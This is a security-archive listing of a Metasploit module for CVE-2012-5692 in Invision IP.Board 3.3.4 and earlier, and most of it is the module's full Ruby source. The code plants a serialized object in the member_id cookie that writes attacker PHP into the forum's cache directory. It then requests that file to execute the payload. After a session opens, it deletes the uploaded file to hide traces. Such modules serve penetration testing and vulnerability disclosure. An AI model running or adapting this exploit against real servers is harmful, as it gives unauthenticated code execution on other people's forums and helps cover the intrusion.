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Invision IP.Board 3.3.4 unserialize() PHP Code Execution

Invision IP.Board 3.3.4 unserialize() PHP Code Execution
Posted Nov 13, 2012
Authored by EgiX, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a php unserialize() vulnerability in Invision IP.Board versions 3.3.4 and below which could be abused to allow unauthenticated users to execute arbitrary code under the context of the webserver user. The dangerous unserialize() exists in the '/admin/sources/base/core.php' script, which is called with user controlled data from the cookie. The exploit abuses the __destruct() method from the dbMain class to write arbitrary PHP code to a file on the Invision IP.Board web directory. The exploit has been tested successfully on Invision IP.Board 3.3.4.

tags | exploit, web, arbitrary, php
advisories | CVE-2012-5692, OSVDB-86702
MD5 | ffe6e26c45e6ffa78cb248d5a282a6c0

Invision IP.Board 3.3.4 unserialize() PHP Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',
'Description' => %q{
This module exploits a php unserialize() vulnerability in Invision IP.Board
<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
code under the context of the webserver user.

The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
which is called with user controlled data from the cookie. The exploit abuses the
__destruct() method from the dbMain class to write arbitrary PHP code to a file on
the Invision IP.Board web directory.

The exploit has been tested successfully on Invision IP.Board 3.3.4.
},
'Author' =>
[
'EgiX', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'sinn3r' # PhpEXE tekniq & check() method
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-5692' ],
[ 'OSVDB', '86702' ],
[ 'BID', '56288' ],
[ 'EDB', '22398' ],
[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'Space' => 8000, #Apache's limit for GET
'DisableNops' => true
},
'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 25 2012'
))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
], self.class)
end

def base
base = target_uri.path
base << '/' if base[-1, 1] != '/'
return base
end

def check
res = send_request_raw({'uri'=>"#{base}index.php"})
return Exploit::CheckCode::Unknown if not res

version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
version = version.map {|e| e.to_i}

# We only want major version 3
# This version checking is based on OSVDB's info
return Exploit::CheckCode::Safe if version[0] != 3

case version[1]
when 1
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
when 2
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
when 3
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
end

return Exploit::CheckCode::Safe
end

def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
begin
print_warning("#{@peer} - Deleting #{@upload_php}")
client.fs.file.rm(@upload_php)
print_good("#{@peer} - #{@upload_php} removed to stay ninja")
rescue
print_error("#{@peer} - Unable to remove #{f}")
end
end
end

def exploit
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
@peer = "#{rhost}:#{rport}"

# get_write_exec_payload uses a function, which limits our ability to support
# Linux payloads, because that requires a space:
# function my_cmd
# becomes:
# functionmy_cmd #Causes parsing error
# We'll have to address that in the mixin, and then come back to this module
# again later.
php_payload = get_write_exec_payload(:unlink_self=>true)
php_payload = php_payload.gsub(/^\<\?php/, '<?')
php_payload = php_payload.gsub(/ /,'')

db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"

print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")

res = send_request_cgi(
{
'uri' => "#{base}index.php?#{php_payload}",
'method' => 'GET',
'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
})

if not res or res.code != 200
print_error("#{@peer} - Exploit failed: #{res.code}")
return
end

print_status("#{@peer} - Executing the payload #{@upload_php}")

res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})

if res
print_error("#{@peer} - Payload execution failed: #{res.code}")
return
end

end
end

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